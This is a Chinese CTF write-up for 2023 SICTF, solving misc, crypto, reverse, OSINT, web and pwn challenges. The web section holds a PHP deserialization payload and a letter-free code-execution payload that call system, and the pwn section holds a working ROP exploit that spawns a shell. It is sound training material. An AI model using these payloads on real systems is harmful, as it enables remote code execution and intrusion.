2023 SICTF --- wp

文章目录

    • Misc
        • 签到
        • color
        • Hacker
        • greek_challenge
        • Hacker2
    • Web
        • 兔年大吉
        • easypass
    • Crypto
        • ascii
        • baby_rsa
        • xy
        • PolyRSA
        • RRRSSSAAA
        • hashgame
    • Re
        • checkme
        • Super Mario Bros
    • pwn
        • easystack
    • osint
        • 朋友圈的秘密
        • 小镇后面的山

Misc

签到

stegsolve查看图片信息发现key:SICTF
2023 SICTF --- wp_第1张图片

在公众号 中学生CTF 上 回复 sictf 即可得到flag
2023 SICTF --- wp_第2张图片

SICTF{fb23cefd-487f-42dd-a343-2a06194efc60}

color

非预期
stegsolve打开图片查看颜色通道,发现二维码,扫描得到flag
2023 SICTF --- wp_第3张图片

SICTF{448e8531-c752-4847-ae7e-0e702a8fb915}

Hacker

追踪tcp流发现是蚁剑流量
在数据流20发现执行了命令 cat flag.txt
2023 SICTF --- wp_第4张图片

http对象导出流20对应的数据包,base64解密
2023 SICTF --- wp_第5张图片

得到flag的对称加密密文

U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQByITd05Uu05ZAv0o=

查看前面的数据流,在流15发现key : Gui_1s_shumu
2023 SICTF --- wp_第6张图片
然后Rabbit解密得到flag
2023 SICTF --- wp_第7张图片

greek_challenge

简单数学计算,写个交互脚本就行了

from pwn import *

p = remote("ctf.qsnctf.com", 10785)
while True:
    math_data = p.recvline()
    if b'SICTF{' in math_data:
        print(math_data)
        break
    elif b"=" in math_data:
        question = math_data[:-5]
        get_answer = str(eval(question)).encode()
        p.sendline(get_answer)

Hacker2

追踪tcp流,在流0发现上传了一个冰蝎3.0的webshell
2023 SICTF --- wp_第8张图片
由此得到题目要求的密钥

7d7c23e87b47368b

往下翻,在流13发现开始与服务器交互
2023 SICTF --- wp_第9张图片
得到shell名称

she1l

往后解密报文
在流24执行了 ls命令
2023 SICTF --- wp_第10张图片
解密报文得到如下信息

10.txt
5.txt
6.txt
7.txt
8.txt
9.txt
flag.txt
she1l.php

流37执行命令

cat 10.txt

解密响应报文,得到

test

此时可以猜到,后续是找到cat flag.txt的数据包解密即可
最后在流46找到数据包,解密得到

c0rRect!!!

拼接得到flag

SICTF{shell名称_密钥_文本文件中存储的字符串}
SICTF{she1l_7d7c23e87b47368b_c0rRect!!!}

Web

兔年大吉


highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?> 过新年啊~过个吉祥年~

构造pop链子到类Happy中调用__call函数,再使用回调函数call_user_func导致代码执行,获取flag
pop链子如下:

__destruct()->firecrackers()->aspiration->__set()->__get()->__invoke()->__call()

payload如下

pop=O:4:%22Year%22:2:%7Bs:3:%22key%22;s:14:%22happy%20new%20year%22;s:6:%22rabbit%22;O:6:%22Rabbit%22:1:%7Bs:18:%22%00Rabbit%00aspiration%22;O:4:%22Year%22:2:%7Bs:3:%22key%22;s:3:%22123%22;s:6:%22rabbit%22;O:4:%22Nevv%22:1:%7Bs:15:%22%00Nevv%00happiness%22;O:5:%22Happy%22:2:%7Bs:10:%22%00Happy%00cmd%22;s:6:%22system%22;s:14:%22%00Happy%00content%22;s:9:%22cat%20/flag%22;%7D%7D%7D%7D%7D

2023 SICTF --- wp_第11张图片

easypass

自增webshell,且不能出现数字和字母
刚好前几个月g4爷在ctfshow搞过rce大挑战
借鉴一下大佬的Payload

code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /flag

Crypto

ascii

循环异或3,然后base32 base64解密

enc = "a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$"
flag = ""
for i in enc:
    flag += chr(ord(i)^3)
print(flag)
#KUYGYRCWIVNDOUKYJZVE2V3MMZGVQTTGMN5EEZS2LBXWQSKTIY4Q====    

2023 SICTF --- wp_第12张图片

baby_rsa

多个小因子 大素数分解,直接用sage上的欧拉函数求phi

#sage
import libnum
import gmpy2
n = 157077292656328898849823499976497003976795705913326943955927601882559735301000546878663484930436631929909115065166613744548816622146802007640124796249330573411377703969505934904150600987843325674764620305047603408490558134670867673308099650843329640744997672015466571290660161290811275435569339606335117906571999000341133024698424364682800683662193063661214736762852739324479859236963365531207752799197178993887860855078852702337761399225640575281412171035871278933493943575572155382899938265639764715616686123949482372238288859715465115400317136714757882965887595246507450491169518000205087415380208167764110920711042584766805992237919576823121108078407699912757901788925718859790257450499775129521327827653298451904392241906547672843110356658889638496906522290674659574024024440113632175010053065452660076447040937842478007881589334096496073556056726805396937630799201696246079227214272205462258357482722478243481697053301054600954126539848778226175296162997813416634702496577009409960503948474494741296663849482119365434792563324547643352816519125305335959420429699475765642610737903235960423173
c = 44457399775772165283580795763046604956432217865936749114390645714446263790235445725770165521476841968764175721036280702731933849090719866149354613431301887740671003826556620460836983488011711209908075106260857650574672356032244606425941095128801765463716482316101398637519304864271794460829068714740938719022156283319142938782439784724450045931039355442034325311037568791297455084676548879770834712506552233840348850684727096270392080049993135041218143811167688449496243036317450681348089315258831745988434134987055263393540923865029931594717328162951158311497514418799360413513590684301435386737514918075848373373755748782672860711406169316940293554209702288482064854840802876490202123903888235028119047988176327629542924415737212649237787748145773301112682790682933658516724691338727523894513267588035437093188599375494920656327919129240066252636130803666175859640361767805549884909317548802917210333235914904622641997249853362378711924024129399688535136879208010081166848163897114124726692078532337827810846421365846926064892472698603597461932481745017020417072013702099809833423003201003030492
e = 65537
phi = euler_phi(n)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
#SICTF{13578a78-1bd1-483e-8c01-4d501c8b52bb}

xy

sage中直接使用two_squares()能得到x,y
然后进行交互即可

#sage
from pwn import *
p = remote("ctf.qsnctf.com", 'port')
while True:
    math_data = p.recvline()
    if b'SICTF{' in math_data:
        print(math_data)
        break
    elif b"number =" in math_data:
        x_y_2 = int(math_data.decode()[9::])
        x, y = two_squares(x_y_2)
        p.sendline(str(x).encode())
        p.sendline(str(y).encode())
SICTF{de44434b-b88b-4459-9790-4d58ae9b332a}

PolyRSA

解方程得到k的值,进而得到p q

from Crypto.Util.number import *
import gmpy2
n = 2931835714514227696649197851452018066969814603905505893064829694548691616628661422451386639398824072768907608195113790730392677411502544741840786734616614308622423513064577929715025601090611378413475093510051291
c = 1162375069210804266034094584942794481470301602122091344590668656120128936761168164673823514232328715217241524062023457713973727518007443604233760475552174214966591823835585191443465256735930086309706593996639864
e = 65537
k = var('k')
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
eq = p*q ==n
rec = solve(eq, k)
print(rec)
k = 10453474106135055672
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(int(m))
print(flag)
#SICTF{5abeab79-0b03-43c9-a56d-34d92f385080}

RRRSSSAAA

dp泄露

#coding:utf-8
from Crypto.Util.number import *
import gmpy2

e = 65537
n = 154243858720978602820118866455277758287334223654318945323956633685668127012462551649034724900534326698546179107853501584676890290935304784613676008667655919749627682648852472398117930471389759979432279103098572267738634433626627146280660185675121614094399255782089060202532182667463993275434746386786808729553
dp = 414447829724187823397808703878958757693775250832414113550357728233230359464880433113636330432984183165483109337095394192757735932571515450285102727598243
c = 107353143319003715532284973064969905174389167949274067058206046773012002421251301189097709121034091973243342582216724329271495555062882075119176838856174054763892910473175610614629226628025470613930226188506099489500606701109022668507012376482339056160636468427364776216626364765166621843217027512464383836160
for i in range(1,e+1):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1) ==0:
            p = ((dp*e-1)//i)+1
            q = n//p
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)
            m = pow(c,d,n)
            print(long_to_bytes(m))

解出Hint为
Alpha = 8
然后将Alpha带入,简单计算可以得到 n约等于 (816)*(12832)*(40962)*p58,将其系数整除然后开58次方可以得到一个在p附近的数,最后在这个数的前面爆破一下即可得到p。由于p的长度为512bit大于flag(PS:SICTF{uuid值})的长度,所以模p即可得到flag

from Crypto.Util.number import *
import gmpy2
from sympy import *
alpha = 8
n = 510598540378970007468346322989879190780475356832709189528874695730531468123747091318830966440138615736420891392158097533731041150162690662471483619765171875053776526546923686545162088172326434280369545887080098691661618888498451216122577703462656147845476260802989936275927468143618457014875124540773380472942489037761179303561650189545290190421786318533073909424735517884608967725919128200358535113829753453601297612782921831305721998858231417374167746154206561475003022801732102170674160043866579234096945753255309604584663823273990392197858273029361669185072049422597132579136784027822968387907216366150999438414498332890674564920800382005582891491049365978733797356415518435343495821039314228388769356638637099572998812062355774848959446125701462950655806332002764535951282449862140062574418031213788534096501985200284615865248974807525604893147298611402252296159828500266098282909607218395957805357667923653409828275804406466185333491486073920384298557332939701611488655278812282652143513835104674009767479927241052662403578967182673338296967573503287747778401579267126898937724971226916836862238412923209155792382534204896050548824028658237640251964366961727999178646613907934616655737902329568420682808750546571786374023614255135110482419627491157502417864563832543812083026753673687664854910877686333766643694031564516722983669199704788291656757271915091399977189663329054202997146978631991467923388119989473941572476162990901960011968892272676827771256008656450296183884491251752111424531449198118292179798490440493223653950102915889401116251591885909790869073018774674246846164536910633015902964911907187085243240032540938841961345835517368130042501382327926289017383981908729734129193302049155793436988510517701765733605569135643208447952662352778482137713239592896997102366230279153456455232519301534222340901671138239539845240151878610363390683459663471954623868659324304077587611084188341121303918876492043578883059738615210439439368338460631574255417822627815523601923537626576677004085017875860928802762176477815284840936951142176532768517728636562256240668409525184886142801802825451465440993457022771077957094228957592122319682216294509338262739872163482972508991702525289361105971574659126127296233247905505496525683817711366704746617027744889413904684867577081667137187623825349410229389484199608739864221035985277681307389939848405790294473878622092200837753161101695539947514614727699952200114544362051873938505591469240465379091377837297561323297393518152524513948294475770774872596601345526469590486037386767964812631618224527233850818909346007449756779707319609915127618828551910681421647307180399632857248867655836894968134457622987954781685664833951774981383914013420724637676787907498490619865488706542422141338754933476190313653530739822029700217857534243473680585150263523947891501341441371965435851479670882202992955935279933652356336270251591324623898094984119190752775236005057405257945038031382867511822173122001309505728526596893926445291712035117553637589190292816001770554129840326832888707541999454791653742647879694585329112697382151447923691770809327807665376014114552626285289291808032845544905356380497227622738746307685611140483875177839511922977657045680353723672792411661489242162646272105649970359134277499907207906149573299990033858943215801954126448693460102775418225293255402758159431943811872373682053160944887775375465971432320964554947377318554518275854303099420999992690990916801757184853847474379621177976926681977371922191722085164910430032177320954341986984523594583172470609743970245810969858512632597943721628165724329447516823159387734220282510185959768239630017162115072758419177056571781075148374822721899683720488356041096248563880547752710289151512607087038310649235610688255059182467964379544134070766646863815775576049106337955345150055151813028534690066771104188418296440067303355417210829440978858599306487361626723932883675404705319649877631289465547597225908934420304867048341698308940436377375588905463549199568800788130324653074398891097223958392703515180958466771395566567923630440881986781120062769327993137151783189811570714391264155060840731029466593405853721833971303821804104382800673631786729744779165371433211267361024896576031556979771007693215198547296582235167582106419779580693225211695215406540025468141235241168387527901851774993867055740692835931115312659500713701652905802357951993290979099170159167009106534001226859533836082801229997337966972579186548771169099646656172882424089451273021293821026173210665095782802709874946641962115525841325300318524665386511421662860490620819561338110623774842340380068922415609137358448899126553279894950604871889208579886778999174405582160576479554324208876082033912031737086248121899303730781498156597249803927142235444644481388064486155431912003641095674949903404176810866307571531389637794147871012904134653569388493652441432759092336752228939764110397029831387803943394811558386122839568158928461007578259968765727092577006588264867960486472014493774664081407186721351852883527145790575242285664659303948842228766554243966691396492391152581830022133814454196259968655735361775914705332258892954614272244452518449260489348504449204461418971768011384340273291232094176572232837038670467853897665877851434992557429017504229337778470080893449423405491607587635438331476572996201482633587271479001915768182336813417460145272910780420062773057289352127058606048428315185624554551172152106354445240590380140756355226376829443068190672329776832112173322011137862590548721676059398379694994522794474774534579546109677615257696703950497332824299576069196330271666459758430542051969093680846765661685489556479825015505460585577388300005030240514448617715276600874290664416888184557142542207029827016362686924883704397874129412267949416733492080843315519912943048041880665442664534980370689081266908497051077237188221752059058912835617635691061804481035908317765279937217591432632832678806430381325340000898958680468694182993189208039459712391492410123386884340504648296815916980264240229859574883155040793388439699245314010536014311134726579595932201351264754211113984594974123575279085420654342347792446273359397655783349850267895960713020361459104930811498666622216299579774939159380045958811891996366190154624989040001455252320159516822116133341010157165599727635333348456688307169980804760876207246783116588952529877373514768545007418968307885769960168050996962066803264260375707466369627458024513973771207018864983698407016663019106354023164759250846073414341438963394719456500998324900154652118420207057668806120330181700845296117532235012372135050553397046174401449323031309344766628888675704109715329046692002106076405553528413866402862565543443907259825033515101841485790388106868972724754988229771779715569516295419556055234476868558577442887306482605945053829666543946452255290321024138948999088611233226734197091325915223296133751626031378197131875533631358612215053149934608672729194446883476706267066475008836864936670808320239466055935088929279252129128009704233352664523535820092988950793050907265677092793104426094212209504897403359406325045852228354350509453013015487815230129380079713113632363881496974185547766115624580099624722897692297760495094913178120692467666707678647081180656345151015995338390986674404981831649353833607305738823436744297628382797810952028446046016233612873716789383675779820186248250486000672269630344269347652027789034023080859790238772676504723029078903218723114249502157501775936110552413022658586833869562215506206204712447588632398550497708640229614956652263449460598992811393334042395804931240940416629178335447861485028284981615219874331354750385150254017244750993573994159458909546341067039268159319391512934162794663414200907868505060542602841564239761181077333990423542820064315891665379550720216448942932714180923613869070005330476506812100063599659432570925437054287120906048730323556681557905787470647037629769660028387819741611799183349496549168370221978146678987457271259655273299546276899538032070218474555442304430064164467753804089753466882786069297036926063093020795423414152340563079346797084488827259011515774643776620378827875819192074121522712821147817374988804339999134520633699074448564057555026364304855373068414955699295158212425760345481057281658337956841137897162198027254556350868502178340964817530029135654659162400076087528650997151875596189190736466304722028587441680622878918057024286243448077104494316372739218635221411755498456912672491099154558604384574583302548226057069534004474532514444674565766058970748694657151540644416463532338966570743112669782840065402131461088637463019996192189423665651801811614499041923273110971446683450048861113332787126098622974613883291506736280588039145040361795192519576202306796277888696719887642051327259799873478040156450250036778305950744573270786882726162630115640020293415918210448873867037875790399234972055537649774407094382744621251926131880807765203843946682834221238903263352845265134368550124026502981782369374484091775137498831749984649699756860976525160646445060537001
c = 25311588269686177955448734593829241225577179988164713941852977611031657483354358211703127234256857543045931490595235462694154500286504335321863566904591526587164297277540588019404183750093303030110155964308233155625979213391426577001127732161793532171930032372311485789800839135378584125843945003217786635500780784536181313697728354510921343049319891609423580951127082479154042124088536642353812516362473763243425336498681024731131013712158320926550826023277898283823992258572884077276506953901984370413493389421701244517177275694290580595883324705204426546600360091062972293159479880268240701929584137714053692704173792703744319619320692061092061615202753943135058204637610994232168818081462863915909261100211958674543647005416235222620606212841753586419836448681445654681389951211124603287962397164672343026391101395393442103086256726266031275710666309840451443110824175976964355109239201609721120961810198879456321855222352235065257082872600438604687617267718725588993464084147695037610145634237788526691386358596867368523164061114195245860062033244276270480267737617206612775486335779851309426638789250166900931784751600508190450785806340839297468432626354823268011108399699249876358363866293469899572158837757748629586492339783888456600259136387616777593894789302431752391447333278000811521062096467397501227651566498970779080811188805992370970942403208432494393387894197176720244315639559895616799551357601688597541585709039366190088117378880414928532937085490713336140523926983900188378021593225550131993528275166272215028510435690944582596557549068715312515919059333916941744937308255671959764859162487792658274812322891679161915480098864709106347357292015949882243095564999283630289876842913558415205967734452657944991350268108202225952952066459093168792825684626405271617613362070897142103054139806566495183172335794957308822648116537830567396971238329939142829563169355194093529211071160078683833491919940022871862059981346961003867620542620578917684687869682550269127226291011607064545739386850054846167307744022708831833252517778607796258598290908139274345221343651583618249287308738279011682960787460189183445095638164116734700624496711487227176740828397696295620232796356005136058517828311139839381424066302086111930635998143063033446131859852797958765199173807715541045956108285596958780742834805533223538366354327087736088500599094358107164689423572964793385788194218918919596478862097292477628426360333874314260108133339375942666508606311391805252966277961758108821946154428477616100004321457604879220523742427633323872953699931521980332026241531049474031438142792394628576016121322036294740176980189940853036679375845577017978783071015970829136676221389585848058189544793760570196797629432282672371000290840492119720433350192833648839794730598188620374416865232426658538841900897108162173580739323675324880778494924038982358349531848197090990541020708295116156624389135273650491811601011636903928586011504526431498652011548693157985029456398851189821020778958527809174433156243544030624341915713810661287037659586018768085470670240790942171506843637271442721823608266490364627429331023698199955218456371716269004979764982383921294842864121196124699402037204598504310969390789092001114319822852242500941141355281693725110460506548426263105213498404197519606615831672853931646583757742145492562101250546593997874586076926641241047317510838024042147508770595175718146175716833867781581245298658392175502069483979736336330731124942036757071709086638075284655589787868565023763734664219353940143820183318534640360506287779208468427268377183973501528333749816003855834863565394122448191029578528511650194632623989208637401008114422451686312319644054514944700566430912835340518601698767128195833704182657730566589247891277627101027106635732998136735398078858899384713118593668984773592904704131402905145754570091966901120411201405256435232063295790833161132002246279663161388421997242226907126829858922174709653627696146355472690262198127338971112610753839661677080463775112411884196230185877234066728564716929551607129141735155379529048300204700285511666205204686244751557147684338591300111406075976759988295937870045743031816067994768915303111125253664865369863586807234945352445045026501495849671447691502253489642657652848949102823407762108943161789244134119866441040670840037015617307056821150285453994199024947457774647253618512995677313792036106100497936654142008173389260345411854520383366800831542339243757421033121103167943520915885043698882609693007629591093225819727653240183003450339802857059736870645197609170799838610316307123146927966669912638227587517396282910946355194781275415343491170583392480153599086125374051844306869510079152461763122622668280249192047024784624692776244265874153473114993619019113474166958126841368545758693832786756946298833891033171752534079387364641021835311861509609494125593285947444939996542402774020507531158198766149282993994638607458820211163623309687149807339960007614766879688676462400606899851539023671152038536934433128973358637812907001112093086713949701646964777013925616637956114825918525229968119306607256312727518429074253193934915609865400118400124334806320033990630595454381780378123232633134565408152216410478497582716891919477755736223636583493709691482948793995974775520709337409910573358960632077245564017495103173982250506224927848890977671698731337737945862469303397352291579706358090437359126171980555387033997507170208063868788685780633727495158542911276981383764698030088894904043298340184342818716278091407356551940358010532738356144600648671870141201656260882560550096111259047730234565173017875969390130055742832375612379167064701421263006004472414998830886590121784525812803198481744263349186310137594023961272959521982892804372412802448375074058059953851751721276448647238818757245128139844126234490887064897176175605991477364838775902549049484485649550475857257115219540606931472558004890564503134870490140656624241401747198540715275804941032074573356860460172868340373583692584902872979221114982298050586685719887060873413850621645519128954022253850929825608263273096476942591333367968509790925478388960974334157155990587259664085903377635645971389261554405014491809856113962072321115329323751880850245450855429733690986687462514539793256111238991830404264833945950057548041347552265351912075406068254301589527368376552057750656888595867048015012255350060023438752477068307445956245683183096512267217891149812719686622381240260466772552889788641876064057960173837664029586196731436456574414559972320705400861271592462379875676277251086312872195716024719468847393778892154498344296554136868868732950910162390521996660833516010868267341539744299603050842530651780425947531816479566426165422123252285427076862067553260240357395991463485011778125635347076641337205162163658915958257879189951068432591492287483129944125287963913713736174143726754563437013760958618334477377727596918588685928884428267449422751775309153821164066157157127578931430789782791432466972743083256930846560916380022935439074194208587413499830348721004306047843916090382879427208653946874404416581482497419737465638158237340330822703573665318917667360471294611610224794247546701801044290825387969994925735165223021550294577211312086169077389985367351707099712483698243658870007261177946508698830792080087400145468466457013023648585707831661968993789151545051681008263293021078693138432668411562842904645661356499891588207831214182852485507569391094080770281546830762172075737108196782354642073491890672014845707320966391491467609280627047834838773416130380735074488364271149543425149101272213833983451690912775914099688310078028317868139895586469648241691434390559738020665790535748911667198341478329818172050103593169144077713081858968945277802911631514524770516773987691162846774892828407010262766598402873965272708201519043339930474621748065360132998861911090097210247744181877811558047691563490093112810880988416880859363631693862441291401344868362517958157134815632633152101164792211199872770004214575342556751954753067436057216989105115974894826691301734658752554796336087163153087013755182247902851847839867807219615044427616326518986674768302109569955218389569458769985874451273117138435546665024826358058600551523916808015505037962468350942106702503883112975634757971636535249998962164886704286732345711210362931312187319836001555348202695806282730945501510756659164231139623277954192087899140537284122009070763979073048837471984618684020674370221463294306239424220412900401460550783283591789801735401367473630854684306273273881688896021682911944793729874921181848098382943970467341811398482121657330781393699096796050290808604481724879698091852697163383826854575487201365106673196811573729247280577781500366763330567122007588833805912087009446499739562463428568952248234506507069953596589309728265145195922268165106056450388840269349409588020300011340940321969965833519126936472969929255823540027083032424724503173052044192907375974391257436211908641463947719594493311129179150043015816776680636855703407557636501711566215605658114055289137679940955
e = 19458216662993202562182929756256684791318810848802754020883513588583377528821730559897870095442161189229950925325157413999927847684731484753811988111830295294129447423655650029218971567158117911790213848402209470536199246476182240248742771389082526603384625792117047996128232952372477895218147279573573322975526303267821446640338606290250958710008158544852602338088244940388562828263436457418528981476220691508040085291576643321726669065360399003917048894093458055139757991688086912143763420958307099065105543361779847689716282373299487102518794317683805758527645283956734672229827240143254092779918701447288342107763
coe = (8**16)*(128**32)*(4096**2)
p = gmpy2.iroot(n//coe,58)[0]
while True:
    p = prevprime(p)
    d = gmpy2.invert(e,p-1)
    m = pow(c,d,p)
    flag = long_to_bytes(m)
    if b"SICTF{" in flag:
        print(flag)
        break
    else:
        continue

#SICTF{6ee93ffd-e903-49d6-b166-44680a294851}


hashgame

from hashlib import md5
import string
dic = string.printable
enc = ['999a215b1f8372bb0f1c84c467a1506b','02b0b94ee1fa195ae7959560893f7e3c','297e7ca127d2eef674c119331fe30dff','65c162f7c43612ba1bdf4d0f2912bbc0','ed8a4ab0c0967b14e3bf6b145e153ec9','d24412e1ab190533176a653cef11b185','815e6212def15fe76ed27cec7a393d59','38026ed22fc1a91d92b5d2ef93540f20','cd7fd1517e323f26c6f1b0b6b96e3b3d','a94837b18f8f43f29448b40a6e7386ba','dc0ae7e1387be9b795f5d6299e383759','815e6212def15fe76ed27cec7a393d59','38026ed22fc1a91d92b5d2ef93540f20','dc0ae7e1387be9b795f5d6299e383759','a3655d5c04849a174d341b13d5cf5468','28c8edde3d61a0411511d3b1866f0636','011ecee7d295c066ae68d4396215c3d0','d7afde3e7059cd0a0fe09eec4b0008cd','39abe4bca904bca5a11121955a2996bf','a3655d5c04849a174d341b13d5cf5468','011ecee7d295c066ae68d4396215c3d0','28c8edde3d61a0411511d3b1866f0636','38026ed22fc1a91d92b5d2ef93540f20','dc0ae7e1387be9b795f5d6299e383759','a3655d5c04849a174d341b13d5cf5468','4c0d13d3ad6cc317017872e51d01b238','83be264eb452fcf0a1c322f2c7cbf987','4e44f1ac85cd60e3caa56bfd4afb675e','815e6212def15fe76ed27cec7a393d59','a3655d5c04849a174d341b13d5cf5468','28c8edde3d61a0411511d3b1866f0636','4e44f1ac85cd60e3caa56bfd4afb675e','ed108f6919ebadc8e809f8b86ef40b05','a94837b18f8f43f29448b40a6e7386ba','dcfcd07e645d245babe887e5e2daa016','665f644e43731ff9db3d341da5c827e1','83be264eb452fcf0a1c322f2c7cbf987','39abe4bca904bca5a11121955a2996bf','39abe4bca904bca5a11121955a2996bf','4c0d13d3ad6cc317017872e51d01b238','dc0ae7e1387be9b795f5d6299e383759','011ecee7d295c066ae68d4396215c3d0','5eccf232f5ebb3e780543372692fff18']
flag = ''
for i in enc:
    for j in dic:
        data_hex = md5(str(md5(j.encode("utf-8")).hexdigest()).encode("utf-8")).hexdigest()
        if data_hex == i:
            flag +=j
            break
print(flag)
#SICTF{837eb83b-14ad-413b-9f58-15ce02fdd9b4}

Re

checkme

python字节码还原脚本,发现和密码一类似,循环异或114514

enc = [114433, 114459, 114449, 114438, 114452, 114473, 114480, 114530, 114531, 114487, 114528, 114483, 114531, 114484, 114559, 114530, 114539, 114532, 114486, 114559, 114534, 114484, 114486, 114538, 114559, 114538, 114484, 114539, 114535, 114559, 114533, 114487, 114529, 114538, 114538, 114486, 114532, 114539, 114534, 114539, 114531, 114531, 114479]
flag = ""
for i in enc:
    flag += chr(i^114514)
print(flag)
#SICTF{b01e2a1f-096d-4fd8-8f95-7e388d694911}

Super Mario Bros

根据图片可以猜到是一个Python的exe,反编译得到源码,然后做个简单异或即可

enc = [10, 9, 23, 2, 23, 109, 15, 7, 4, 3, 58, 71, 22, 51, 82, 93, 20, 92, 93, 28, 41, 3, 25, 78, 0, 44, 16]
key = 'level num'
flag =''
for i in range(len(enc)):
    flag += chr(ord(key[i%9])^enc[i])
print(flag)
flag{Mario_1s_r3a11y_funnY}

pwn

easystack

#encoding=utf-8
from pwn import *
context.log_level="debug"
context.terminal = ['tmux', 'splitw', '-h'] 
#p=process("./20230116")
p=remote("ctf.qsnctf.com",10495)
elf=ELF("./20230116")
libc=ELF("./libc.so.6")
#libc=ELF("/home/others/glibc-all-in-one-master/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
pop_rdi_ret=0x4008a3
pop_rsi_r15_ret=0x4008a1
ret=0x4008a4
main=0x4007a2

csu1_pop4=0x40089c
csu1_pop5=0x40089b
payload1=str(512)
p.sendlineafter("read\n",payload1)

payload2=0x10*"a"+p64(csu1_pop4)+"a"*32+p64(pop_rdi_ret)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)

p.send(payload2)

p.recvuntil("sictf\n",drop=True)
temp=p.recv(6)
libc_puts=u64(temp+"\x00\x00")
libc_base=libc_puts-libc.symbols["puts"]
print hex(libc_base)
libc_system=libc_base+libc.symbols["system"]
libc_sh=libc_base+next(libc.search("/bin/sh\x00"))

#getshell
p.sendlineafter("read\n",payload1)


one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
payload2=0x10*"a"+p64(csu1_pop4)+"a"*32+p64(pop_rdi_ret)+p64(libc_sh)+p64(ret)+p64(libc_system)
#payload2=0x10*"a"+p64(target)
#gdb.attach(p)
#pause()
p.send(payload2)
p.interactive()

osint

朋友圈的秘密


根据树木是顺义区某中学,直接搜索 乐刻健身 顺义,只有三个地方
2023 SICTF --- wp_第13张图片
使用百度地图打开一个个地址,然后打开全景地图,找到目标 广告牌

反过来看一眼,只有两个店在一楼有窗户,分别是星巴克和汉堡王,不太确定是哪个店

只能一一测试提交,最终发现是在汉堡王内拍摄的

SICTF{北京市-顺义区-新顺南大街-11-汉堡王}

小镇后面的山

直接谷歌识图搜索
2023 SICTF --- wp_第14张图片
一个一个尝试,我试了大概10来个类似上图的地方,最后终于找到存在山脉的地点 格勒诺布尔,其山脉是阿尔卑斯山脉,所以得到flag

SICTF{格勒诺布尔-阿尔卑斯山脉}

【观海者难为水,痴心者难为情,男女情爱之苦乐,不过是意中人变成了忆中人,心上人变成了枕边人。】

你可能感兴趣的:(CTF,网络,服务器,运维,web安全,安全)